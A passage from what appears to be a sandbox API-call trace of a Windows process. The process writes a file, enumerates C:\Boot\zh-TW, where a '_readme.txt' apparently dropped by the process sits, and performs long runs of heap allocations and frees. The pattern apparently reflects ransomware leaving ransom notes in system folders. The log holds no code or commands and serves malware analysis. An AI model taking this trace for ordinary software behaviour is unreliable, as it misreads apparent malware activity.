nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x38cfb64, lpOverlapped=0x0 | out: lpBuffer=0x3177118*, lpNumberOfBytesWritten=0x38cfb64*=0x45c, lpOverlapped=0x0) returned 1 [0066.620] CloseHandle (hObject=0x5c4) returned 1 [0066.620] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.620] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0066.620] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.620] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.620] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb33c90b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33c90b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.621] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.621] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb33c90b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33c90b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.621] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.621] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb33c90b0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb33c90b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33ef210, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.621] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb33c90b0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb33c90b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33ef210, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.621] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.621] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.621] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602f8 | out: hHeap=0x5d0000) returned 1 [0066.621] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3186fe8 [0066.621] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.621] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.621] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.621] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.621] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.621] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.621] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.621] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.621] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.621] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.621] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.621] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.621] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.621] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.621] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.621] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.621] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.621] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.621] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.621] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.621] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.621] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.622] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.622] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.622] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.622] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.622] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.622] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.622] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.622] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.622] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.622] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.622] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.622] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.622] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.622] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.622] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.622] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.622] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.622] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.622] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.622] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.622] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.622] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.622] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.622] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.622] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.622] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.622] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.622] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.622] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.622] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.622] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.622] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.622] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.623] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.623] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.623] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.623] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.623] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.623] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.623] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.623] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.623] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.623] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.623] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.623] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.623] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.623] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.623] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.623] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.623] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.623] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.623] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.623] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.623] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.623] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.623] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.623] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.623] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.623] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.623] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.623] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.623] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.623] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.623] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.623] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.623] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.623] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.624] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.624] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.624] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.624] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.624] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.624] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.624] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.624] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.624] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.624] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.624] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.624] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.624] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.624] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.624] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.624] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.624] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.624] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.624] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.624] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.624] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.624] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.624] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.624] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.624] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.624] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.624] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.624] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.624] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.624] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.624] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.624] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.624] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.625] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.625] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.625] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.625] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.625] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.625] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.625] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.625] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.625] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.625] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.625] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.625] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.625] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.625] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.625] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.625] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.625] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.625] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.625] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.625] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.625] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.625] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.625] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.625] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.625] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.625] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.625] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.625] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.625] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.625] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.625] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.625] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.625] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.625] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.626] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.626] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.626] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.626] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.626] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.626] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.626] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.626] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.626] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.626] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.626] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.626] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.626] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.626] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.626] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.626] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.626] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.626] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.626] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.626] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.626] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.626] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.626] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.626] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.626] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.626] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.626] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.626] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.626] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.626] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.626] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.626] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.626] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.626] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.627] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.627] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.627] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.627] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.627] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.627] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.627] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.627] 